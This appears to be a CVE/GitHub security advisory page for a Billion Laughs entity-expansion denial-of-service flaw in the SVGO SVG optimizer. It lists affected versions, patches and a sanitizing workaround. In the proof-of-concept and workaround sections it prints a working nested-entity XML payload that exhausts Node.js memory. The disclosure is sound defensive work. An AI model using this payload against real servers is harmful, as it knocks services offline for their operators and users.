7.5high
SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)
- Severity
- 7.5high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.72% (higher than 55% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-xpqw-6gx7-v673
Description
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| svg svgo | >= 2.1.0, < 2.8.1, >= 3.0.0, < 3.3.3, = 4.0.0 | CVE List |
| automation-gateway | Not specified Not affected: from 0:2.5.20260422-2.el8ap before *, from 0:2.5.20260422-2.el9ap before * | CVE List |
| automation-platform-ui | Not specified Not affected: from 0:2.6.7-1.el9ap before * | CVE List |
| advanced-cluster-security/rhacs-main-rhel8 | Not specified Not affected: from 1775594119 before * | CVE List |
| ansible-automation-platform-25/lightspeed-rhel8 | Not specified Not affected: from 1777403872 before * | CVE List |
| ansible-automation-platform-26/lightspeed-rhel9 | Not specified Not affected: from 1777387242 before * | CVE List |
| ansible-automation-platform-26/gateway-rhel9 | Not specified Not affected: from 1774243862 before * | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified Not affected: from 1776784286 before *, from 1777903262 before * | CVE List |
| rhoai/odh-dashboard-rhel8 | Not specified Not affected: from 1774282136 before * | CVE List |
| rhoai/odh-dashboard-rhel9 | Not specified Not affected: from 1780467029 before *, from 1779189627 before * | CVE List |
| rhoai/odh-mod-arch-model-registry-rhel9 | Not specified Not affected: from 1780467147 before *, from 1778666987 before * | CVE List |
| rhoai/odh-mod-arch-gen-ai-rhel9 | Not specified Not affected: from 1778473763 before * | CVE List |
| devspaces/code-rhel9 | Not specified Not affected: from 1779814592 before * | CVE List |
| openshift-service-mesh/kiali-rhel8 | Not specified Not affected: from 1776191302 before * | CVE List |
| openshift-service-mesh/kiali-ossmc-rhel9 | Not specified Not affected: from 1776151124 before *, from 1776151106 before *, from 1776155669 before *, from 1776151134 before * | CVE List |
| openshift-service-mesh/kiali-rhel9 | Not specified Not affected: from 1776151272 before *, from 1776151270 before *, from 1776149682 before *, from 1776151277 before * | CVE List |
| quay/quay-rhel8 | Not specified Not affected: from 1776736910 before *, from 1776752646 before *, from 1779689392 before *, from 1775169219 before *, from 1775169218 before * | CVE List |
| quay/quay-rhel9 | Not specified Not affected: from 1779204086 before *, from 1779922205 before *, from 1784987273 before * | CVE List |
| io.cryostat-cryostat | Not specified | CVE List |
| gatekeeper/gatekeeper-rhel9 | Not specified | CVE List |
| multicluster-engine/console-mce-rhel9 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-api-rhel8 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-db-migration-rhel8 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-ui-rhel8 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-ui-rhel9 | Not specified | CVE List |
| openshift-service-mesh/kiali-operator-bundle | Not specified | CVE List |
| openshift-service-mesh/kiali-rhel9-operator | Not specified | CVE List |
| 3scale-amp20/system | Not specified | CVE List |
| 3scale-amp21/system | Not specified | CVE List |
| 3scale-amp22/system | Not specified | CVE List |
| 3scale-amp24/system | Not specified | CVE List |
| 3scale-amp25/system | Not specified | CVE List |
| 3scale-amp26/system | Not specified | CVE List |
| 3scale-amp2/system-rhel7 | Not specified | CVE List |
| 3scale-amp2/system-rhel8 | Not specified | CVE List |
| 3scale-amp2/system-rhel9 | Not specified | CVE List |
| rhacm2/console-rhel9 | Not specified | CVE List |
| ansible-on-clouds/aoc-azure-aap-installer-rhel9 | Not specified | CVE List |
| automation-eda-controller | Not specified | CVE List |
| io.apicurio-apicurio-registry | Not specified | CVE List |
| org.optaweb.vehiclerouting-optaweb-vehicle-routing | Not specified | CVE List |
| org.infinispan-infinispan-console | Not specified | CVE List |
| dotnet5.0-build-reference-packages | Not specified | CVE List |
| grafana | Not specified | CVE List |
| pcs | Not specified | CVE List |
| rhelai3/bootc-cuda-rhel9 | Not specified | CVE List |
| rhelai3/disk-image-cuda-rhel9 | Not specified | CVE List |
| io.syndesis-syndesis-parent | Not specified | CVE List |
| org.jboss.hal-hal-parent | Not specified | CVE List |
| org.keycloak-keycloak-parent | Not specified | CVE List |
| openshift4/ose-console-rhel9 | Not specified | CVE List |
| devspaces/code-sshd-rhel9 | Not specified | CVE List |
| devspaces/machineexec-rhel9 | Not specified | CVE List |
| rhosdt/tempo-jaeger-query-rhel8 | Not specified | CVE List |
| ansible-automation-platform/automation-portal | Not specified | CVE List |
| svgo (npm) | from 2.1.0 before 2.8.1, from 3.0.0 before 3.3.3, from 4.0.0 before 4.0.1 | GitHub Advisory Database |
| svgo svgo | from 2.1.0 before 2.8.1, from 3.0.0 before 3.3.3, from 4.0.0 before 4.0.1 | NVD |
All scores
| GitHub_M | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| redhat-SADP | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.
What each source says
CVE List
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
GitHub Advisory Database
Summary
SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.
Details
The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.
However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.
Proof of Concept
import { optimize } from 'svgo';
/** Presume that this string was obtained in some other way, such as network. */
const original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
optimize(original);
Impact
If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.
It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.
Patches
SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.
Workarounds
== 4.0.0
For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:
For example:
yarn up -R sax
New options were introduced upstream which makes the way SVGO parses SVGs safe by default.
>= 2.1.0, <= 3.3.2
Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.
Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.
+ import SAX from 'sax';
import { optimize } from 'svgo';
- const original =`
+ let original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype = (doctype) => {
+ original = original.replace(doctype, '');
+ }
+ parser.write(original);
optimize(original);
Resources
NVD (es)
SVGO, abreviatura de SVG Optimizer, es una librería de Node.js y una aplicación de línea de comandos para optimizar archivos SVG. Desde la versión 2.1.0 hasta antes de la versión 2.8.1, desde la versión 3.0.0 hasta antes de la versión 3.3.3, y antes de la versión 4.0.1, SVGO acepta XML con entidades personalizadas, sin protecciones contra la expansión o recursión de entidades. Esto puede resultar en que un archivo XML pequeño (811 bytes) bloquee la aplicación e incluso colapse el proceso de Node.js con agotamiento de memoria del heap de JavaScript. Este problema ha sido corregido en las versiones 2.8.1, 3.3.3 y 4.0.1.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-29074 changed 2026-09-10 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-xpqw-6gx7-v673 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-29074 changed 2026-09-10 | Public domain |